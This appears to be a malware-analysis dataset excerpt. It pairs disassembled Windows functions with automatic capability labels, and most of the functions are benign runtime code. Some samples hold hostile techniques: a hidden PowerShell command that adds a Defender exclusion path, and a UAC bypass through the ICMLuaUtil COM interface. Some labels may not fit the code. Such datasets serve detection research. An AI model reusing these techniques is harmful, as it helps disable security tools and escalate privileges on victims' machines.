joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140172054
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
xor ebp, ebp
mov rbx, rcx
mov qword [rcx + 0x58], rbp
mov rsi, rdx
mov dword [rcx + 0x60], ebp
lea ecx, [rbp + 1]
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x14017208f
or dword [rbx + 0x60], 1
or dword [rbx + 0x5c], 2
jmp 0x1401720a7
mov ecx, 2
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1401720a7
or dword [rbx + 0x60], 2
or dword [rbx + 0x5c], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, qword [rsi + 0x40]
mov edi, eax
call qword [sym.imp.USER32.dll_SetCapture]
mov rcx, rax
call fcn.14009067c
jmp 0x14017217b
call qword [sym.imp.USER32.dll_GetCapture]
mov rcx, rax
call fcn.14009067c
cmp rax, rsi
jne 0x140172184
mov r9d, 0x209
mov dword [rsp + 0x20], 1
xor edx, edx
lea rcx, [rsp + 0x30]
lea r8d, [r9 - 9]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x140172123
mov r9d, 0x109
mov dword [rsp + 0x20], 1
xor edx, edx
lea rcx, [rsp + 0x30]
lea r8d, [r9 - 9]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140172164
mov eax, dword [rsp + 0x38]
cmp eax, 0x203
je 0x14017213c
cmp eax, 0x200
jbe 0x14017213c
cmp eax, 0x206
jb 0x140172184
cmp eax, 0x100
jne 0x14017214b
cmp qword [rsp + 0x40], 0x1b
je 0x140172184
mov rdx, qword [rsp + 0x54]
lea rcx, [rbx + 0x48]
call qword [sym.imp.USER32.dll_PtInRect]
mov ecx, ebp
test eax, eax
sete cl
mov dword [rbx + 0x58], ecx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, dword [0x1403190d8]
jbe 0x14017217b
mov dword [rbx + 0x58], 1
cmp dword [rbx + 0x58], ebp
je 0x1401720c6
call qword [sym.imp.USER32.dll_ReleaseCapture]
mov eax, dword [rbx + 0x58]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140173794
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rdi, qword [rcx + 0x28]
xor ebx, ebx
cmp dword [rdi - 0x10], ebx
je 0x14017380c
mov rsi, qword [rcx + 0x18]
mov rbp, qword [rcx + 0x10]
call fcn.14008a934
mov rcx, rax
test rax, rax
je 0x1401737e3
mov rax, qword [rax]
mov rax, qword [rax + 0xe8]
call qword [case.0x1401b51c9.0]
test rax, rax
je 0x1401737e3
mov rcx, qword [rax + 0x40]
jmp 0x1401737e6
mov rcx, rbx
mov dword [rsp + 0x28], 1
mov r9, rbp
mov r8, rdi
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 0x20
setae bl
mov eax, ebx
jmp 0x14017380e
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14017b10c
Capabilities:
Delete registry value

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x14017b244
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
sub rsp, 0x38
mov rcx, qword [rcx + 8]
lea rax, [r11 + 8]
mov qword [r11 - 0x10], rax
lea r9, [r11 + 0x20]
mov qword [r11 - 0x18], r8
xor r8d, r8d
mov dword [rsp + 0x40], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor edx, edx
test eax, eax
jne 0x14017b286
mov ecx, dword [rsp + 0x58]
sub ecx, 4
neg ecx
sbb eax, eax
and eax, 0xd
test eax, eax
sete dl
mov eax, edx
add rsp, 0x38
ret

Function at 0x14017b67c
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
mov rdi, r9
mov rbx, r8
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x14017b746
test rbx, rbx
je 0x14017b746
test r9, r9
je 0x14017b746
and qword [r8], 0
xor r8d, r8d
and dword [r9], 0
mov rcx, qword [rcx + 8]
mov qword [rax - 0x10], r9
lea r9, [rax + 0x10]
and qword [rax - 0x18], 0
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14017b742
cmp dword [rsp + 0x48], 3
jne 0x14017b742
cmp dword [rdi], eax
je 0x14017b742
mov ecx, dword [rdi]
call fcn.140003e48
mov qword [rbx], rax
lea r9, [rsp + 0x48]
mov rcx, qword [rbp + 8]
xor r8d, r8d
mov qword [rsp + 0x28], rdi
mov rdx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14017b736
cmp dword [rsp + 0x48], 3
jne 0x14017b736
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rbx]
call fcn.140074954
and qword [rbx], 0
xor eax, eax
jmp 0x14017b721
call fcn.140075b9c
int3

Function at 0x14017ba08
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x14017ba19
xor eax, eax
jmp 0x14017ba47
mov rcx, qword [rcx + 8]
lea rax, [rsp + 0x40]
mov r9d, 4
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x14017ba50
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x14017ba61
xor eax, eax
jmp 0x14017ba85
mov rcx, qword [rcx + 8]
mov dword [rsp + 0x28], r9d
mov r9d, 3
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret
Function at 0x1401d99ec
Capabilities:
Get file system object information

Disassembly:
push rbx
sub rsp, 0x310
mov rax, qword [0x14030b918]
xor rax, rsp
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x38], rdx
mov rax, r8
mov rbx, rdx
test r8, r8
je 0x1401d9a6b
mov rcx, qword [rax + 8]
lea r8, [rsp + 0x40]
mov r9d, 0x2b8
mov dword [rsp + 0x20], 0x208
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov rcx, rbx
lea rdx, [rsp + 0x50]
test rax, rax
jne 0x1401d9a4a
lea rdx, [0x140299410]
call fcn.140003da4
mov rax, rbx
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.140211970
add rsp, 0x310
pop rbx
ret
call fcn.140075b9c
int3

Function at 0x1401df22c
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax - 0x18], 0
mov rbp, r9
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.14022e4c8
test eax, eax
jne 0x1401df290
mov eax, dword [rsp + 0x30]
lea r8, str._s_s_X.tmp
mov dword [rsp + 0x28], eax
mov r9, rsi
mov rdx, rbp
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call fcn.14008c218
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1401df2a2
jmp 0x1401df250
mov r9, rbx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x1401f16dc
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r14, r9
mov r15, r8
mov rdi, rdx
mov rbp, rcx
test rdx, rdx
je 0x1401f179d
mov esi, 0x811c9dc5
xor ebx, ebx
mov rcx, rdx
call fcn.14021dd5c
mov r8, rax
mov eax, 0xcccccccd
mul r8d
shr edx, 3
inc edx
test r8d, r8d
je 0x1401f1740
movzx ecx, word [rdi + rbx*2]
imul esi, esi, 0x1000193
xor esi, ecx
add ebx, edx
cmp ebx, r8d
jb 0x1401f172d
mov dword [r14], esi
xor edx, edx
mov eax, esi
div dword [rbp + 0x10]
mov dword [r15], edx
mov rbx, qword [rbp + 8]
test rbx, rbx
je 0x1401f1782
mov rbx, qword [rbx + rdx*8]
test rbx, rbx
je 0x1401f1782
mov eax, dword [r14]
cmp dword [rbx + 8], eax
jne 0x1401f1778
mov rdx, rdi
mov rcx, qword [rbx + 0x10]
call fcn.140226ddc
nop
test eax, eax
je 0x1401f177d
mov rbx, qword [rbx]
jmp 0x1401f175a
mov rax, rbx
jmp 0x1401f1784
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
call fcn.140075b9c
int3

Function at 0x140212704
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14021274e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14021274e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14021274e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14021274e
cmp dword [rcx + 0x84], 0xe
jbe 0x14021274e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140212750
xor al, al
add rsp, 0x28
ret
Function at 0x14022f890
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14022f6bc

Function at 0x14023b1a8
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x14023b185
call fcn.14021aadc
mov dword [rax], 0x16
call fcn.14021a98c
or eax, 0xffffffff
jmp 0x14023b1a2
sub dword [rcx + 0x10], 1
jns 0x14023b194
add rsp, 0x28
jmp fcn.14023c0d0
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x14023b164

Function at 0x14023c23c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x14023bf62
call fcn.14021aadc
mov dword [rax], 0x16
call fcn.14021a98c
jmp 0x14023c0ad
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14023c0ad
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14023c0ad
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14023bf91
lock or dword [rcx + 0x14], 0x10
jmp 0x14023c0ad
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14023bfa5
call fcn.140242e78
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x14023bfb5
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x14023bfb8
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.14022d19c
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.14023b9b8
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x14023c09b
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x14023c049
mov rcx, rbx
call fcn.14022d19c
cmp eax, 0xffffffff
je 0x14023c034
mov rcx, rbx
call fcn.14022d19c
cmp eax, 0xfffffffe
je 0x14023c034
mov rcx, rbx
call fcn.14022d19c
movsxd rdi, eax
lea r14, [0x14031a610]
mov rcx, rbx
sar rdi, 6
call fcn.14022d19c
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x14023c03b
lea rdx, [0x14030bd30]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14023c049
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x14023c06d
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x14023c06d
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x14023c06d
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x14023c08b
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x14023c096
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x14023c0b2
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x14023bf2c
Function at 0x140244710
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140244738
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140244738
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001644
Capabilities:
Get token membership

Disassembly:
sub rsp, 0x88
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
lea rax, [rsp + 0x78]
mov dword [rsp + 0x72], 0
lea rcx, [rsp + 0x72]
mov word [rsp + 0x76], 0x500
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x6c], eax
test eax, eax
je 0x1400016e1
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0x6c]
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x1400016d6
mov dword [rsp + 0x6c], 0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x6c]
add rsp, 0x88
ret

Function at 0x1400016ed
Capabilities:
Create process on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x68
mov qword [rsp + 0x58], rcx
mov ecx, 0x68
call fcn.140022a20
mov ecx, 0x1a
mov rsi, rax
xor eax, eax
mov rdi, rsi
rep stosd dword [rdi], eax
mov ecx, 0x18
call fcn.140022a20
mov ecx, 0x280
mov rbx, rax
call fcn.140022a10
mov r8, qword [rsp + 0x58]
lea rdx, str.powershell.exe_Add_MpPreference__ExclusionPath__s
mov r12, rax
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov rdx, r12
xor ecx, ecx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
or edx, 0xffffffff
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
call rsi
mov rcx, qword [rbx + 8]
call rsi
mov rcx, r12
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop r12
jmp fcn.1400229e0
Function at 0x1400025fb
Capabilities:
Bypass uac via icmluautil

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x40
mov edi, r8d
mov r13, rcx
mov rsi, rdx
xor ecx, ecx
mov qword [rsp + 0x38], 0
mov edx, 2
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea r9, [rsp + 0x38]
mov r8d, 4
lea rdx, [0x140028620]
lea rcx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
mov ebx, eax
call fcn.140002200
mov r12d, eax
test eax, eax
je 0x140002654
mov r12d, 0xc0000022
jmp 0x14000267d
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000264c
mov rax, qword [rcx]
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov r8, rsi
mov dword [rsp + 0x20], 0
mov rdx, r13
call qword [rax + 0x48]
test eax, eax
js 0x14000264c
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000268d
mov rax, qword [rcx]
call qword [rax + 0x10]
test ebx, ebx
jne 0x140002697
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, r12d
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
Function at 0x14000bf50
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140012730
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140012730
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x14000bfc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400300b4]
mov r12, rcx
test ebx, ebx
jle 0x14000c0f0
mov rax, qword [0x1400300b8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000c00c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x14000c093
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x14000bff0
mov rcx, r12
call fcn.14000ca20
mov rsi, rax
test rax, rax
je 0x14000c112
mov rax, qword [0x1400300b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.14000cb50
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400300b8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000c0f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000c08c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000c0a0
add dword [0x1400300b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400300b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000c08c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000bf50
nop dword [rax]
xor ebx, ebx
jmp 0x14000c017
mov rax, qword [0x1400300b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000bf50
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.14000bf50
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000c690
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140030120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140030100]
test rbx, rbx
je 0x14000c6e4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000c6db
test r12, r12
je 0x14000c6db
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000c6c0
lea rcx, [0x140030120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000ca20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140028480]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000ca40
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000ca48
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000ca40
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x14000ca95
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000ca8c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000ca40
add rax, 0x28
cmp rax, r9
jne 0x14000ca78
xor eax, eax
ret

Function at 0x14000caa0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140028480]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000cac0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000cac8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000cac0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x14000cb50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140028480]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000cb70
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14000cb78
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x14000cda0
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [0x140030108]
mov edi, ecx
mov rsi, rdx
test eax, eax
jne 0x14000c720
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov edx, 0x18
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rbx, rax
test rax, rax
je 0x14000c773
mov dword [rax], edi
lea rcx, [0x140030120]
mov qword [rax + 8], rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x140030100]
lea rcx, [0x140030120]
mov qword [0x140030100], rbx
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
or eax, 0xffffffff
jmp 0x14000c716
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x14000cdd0
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp 0x140012f90
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x140012fa0
xor eax, eax
ret
jmp 0x14000c700

Function at 0x14000ce10
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x28
pop r12
pop r13
ret

Function at 0x14000ce50
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14000ce68
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x140001000
Capabilities:
Delete file

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2a0
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov dword [rsp + 0x28], 0xffffffff
cmp qword [rsp + 0x2c0], 0
je 0x14000119a
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x2c0]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x14000119a
mov edx, 0x2c
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14000119a
lea rax, [rsp + 0x180]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], 0xffffffffffffffff
inc qword [rsp + 0x30]
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x30]
cmp byte [rax + rcx], 0
jne 0x1400010d8
mov rax, qword [rsp + 0x30]
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x24]
mov r8, rax
mov rdx, qword [rsp + 0x2c0]
lea rcx, [rsp + 0x180]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x2c0]
lea rax, [rcx + rax + 1]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x20]
mov byte [rax], cl
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
cmp byte [rsp + 0x20], 0
jne 0x14000113f
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x180]
call qword [sym.imp.SFExtract.dll_sfkl_Decode]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.1400011d0
add rsp, 0x2a0
pop rdi
ret

Function at 0x140001af4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b3e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b3e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b3e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b3e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b3e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b40
xor al, al
add rsp, 0x28
ret